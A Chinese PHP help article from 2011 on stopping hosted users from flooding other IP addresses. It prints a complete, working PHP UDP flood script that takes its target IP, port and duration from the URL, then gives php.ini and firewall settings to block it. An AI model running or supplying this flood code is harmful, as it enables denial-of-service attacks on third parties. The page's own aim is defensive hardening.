防止用户利用PHP代码DOS造成用光网络带宽


Posted in PHP onMarch 01, 2011

用PHP代码调用sockets,直接用服务器的网络攻击别的IP,常见代码如下:

$packets = 0; 
$ip = $_GET[\'ip\']; 
$rand = $_GET[\'port\']; 
set_time_limit(0); 
ignore_user_abort(FALSE); 
$exec_time = $_GET[\'time\']; 
$time = time(); 
print \"Flooded: $ip on port $rand 
\"; 
$max_time = $time+$exec_time; 
for($i=0;$i<65535;$i++){ 
$out .= \"X\"; 
} 
while(1){ 
$packets++; 
if(time() > $max_time){ 
break; 
} 
$fp = fsockopen(\"udp://$ip\", $rand, $errno, $errstr, 5); 
if($fp){ 
fwrite($fp, $out); 
fclose($fp); 
} 
} 
echo \"Packet complete at \".time(\'h:i:s\').\" with $packets (\" . round(($packets*65)/1024, 2) . \" mB) packets averaging \". round($packets/$exec_time, 2) . \" packets/s \\n\"; 
?>

表现特征:
一打开IIS,服务器的流出带宽就用光-----就是说服务器不断向别人发包,这个情况和受到DDOS攻击是不同的,DDOS是不断收到大量数据包.
解决办法:
禁止上述的代码:
在c:\windows\php.ini里设置:
disable_functions =gzinflate;
在c:\windows\php.ini里设其值为Off
allow_url_fopen = Off
并且:
;extension=php_sockets.dll
前面的;号一定要有,意思就是限制用sockets.dll
前面的;号要保留
然后重启IIS
如果上述方式仍然无效,你可以在IIS中,允许的扩展中,禁止PHP的扩展测试.
另外,对于没加密的php攻击代码,还可以用以下办法处理:
1.在IP策略,或防火墙中,禁止所有udp向外发送
2.用一流信息监控,在SQL拦截及网址拦截中,拦截port=这个关键词
PHP 相关文章推荐
php+mysql开源XNA 聚合程序发布 下载
Jul 13 PHP
THINKPHP+JS实现缩放图片式截图的实现
Mar 07 PHP
解析php5配置使用pdo
Jul 03 PHP
PHP闭包实例解析
Sep 08 PHP
php获取twitter最新消息的方法
Apr 14 PHP
详解PHP中instanceof关键字及instanceof关键字有什么作用
Nov 05 PHP
浅谈PHP发送HTTP请求的几种方式
Jul 25 PHP
PHP接口继承及接口多继承原理与实现方法详解
Oct 18 PHP
PHP操作MongoDB实现增删改查功能【附php7操作MongoDB方法】
Apr 24 PHP
php和C#的yield迭代器实现方法对比分析
Jul 17 PHP
php 根据URL下载远程图片、压缩包、pdf等文件到本地
Jul 26 PHP
Yii框架 session 数据库存储操作方法示例
Nov 18 PHP
php Smarty 字符比较代码
Feb 27 #PHP
php下批量挂马和批量清马代码
Feb 27 #PHP
php SQL Injection with MySQL
Feb 27 #PHP
PHP的SQL注入实现(测试代码安全不错)
Feb 27 #PHP
php通用防注入程序 推荐
Feb 26 #PHP
8个出色的WordPress SEO插件收集
Feb 26 #PHP
zend framework多模块多布局配置
Feb 26 #PHP
You might like
Laravel Intervention/image图片处理扩展包的安装、使用与可能遇到的坑详解
2017/11/14 PHP
javascript实现上传图片前的预览(TX的面试题)
2007/08/20 Javascript
&amp;lt;script defer&amp;gt; defer 是什么意思
2009/05/10 Javascript
jquery里的正则表达式说明
2011/08/03 Javascript
多个jQuery版本共存的处理方案
2015/03/17 Javascript
Jquery给当前页或者跳转后页面的导航栏添加选中后样式的实例
2016/12/08 Javascript
JS实现根据密码长度显示安全条功能
2017/03/08 Javascript
详解AngularJS ui-sref的简单使用
2017/04/24 Javascript
mui 打开新窗口的方式总结及注意事项
2017/08/20 Javascript
捕获未处理的Promise错误方法
2017/10/13 Javascript
webpack4的迁移的使用方法
2018/05/25 Javascript
H5+C3+JS实现五子棋游戏(AI篇)
2020/05/28 Javascript
vue实现的树形结构加多选框示例
2019/02/02 Javascript
Vue中CSS动画原理的实现
2019/02/13 Javascript
JS拖拽排序插件Sortable.js用法实例分析
2019/02/20 Javascript
ES7之Async/await的使用详解
2019/03/28 Javascript
如何在Vue中使localStorage具有响应式(思想实验)
2020/07/14 Javascript
JQuery基于FormData异步提交数据文件
2020/09/01 jQuery
用Python给文本创立向量空间模型的教程
2015/04/23 Python
Python使用turtule画五角星的方法
2015/07/09 Python
python调用Delphi写的Dll代码示例
2017/12/05 Python
Django框架自定义session处理操作示例
2019/05/27 Python
Python退出时强制运行一段代码的实现方法
2020/04/29 Python
python实现斗地主分牌洗牌
2020/06/22 Python
HTML5实现经典坦克大战坦克乱走还能发出一个子弹
2013/09/02 HTML / CSS
如果Session Bean得Remove方法一直都不被调用会怎么样
2012/07/14 面试题
计算机毕业大学生推荐信
2013/12/01 职场文书
珍惜时间演讲稿
2014/05/14 职场文书
应届生求职信
2014/05/31 职场文书
酒店爱岗敬业演讲稿
2014/09/02 职场文书
开展党的群众路线教育实践活动剖析材料
2014/10/13 职场文书
法人身份证明书
2015/06/18 职场文书
导游词之绍兴柯岩古镇
2020/01/09 职场文书
CSS3实现的水平标题菜单
2021/04/14 HTML / CSS
防止web项目中的SQL注入
2021/12/06 MySQL
漫画《尖帽子的魔法工坊》宣布动画化
2022/04/06 日漫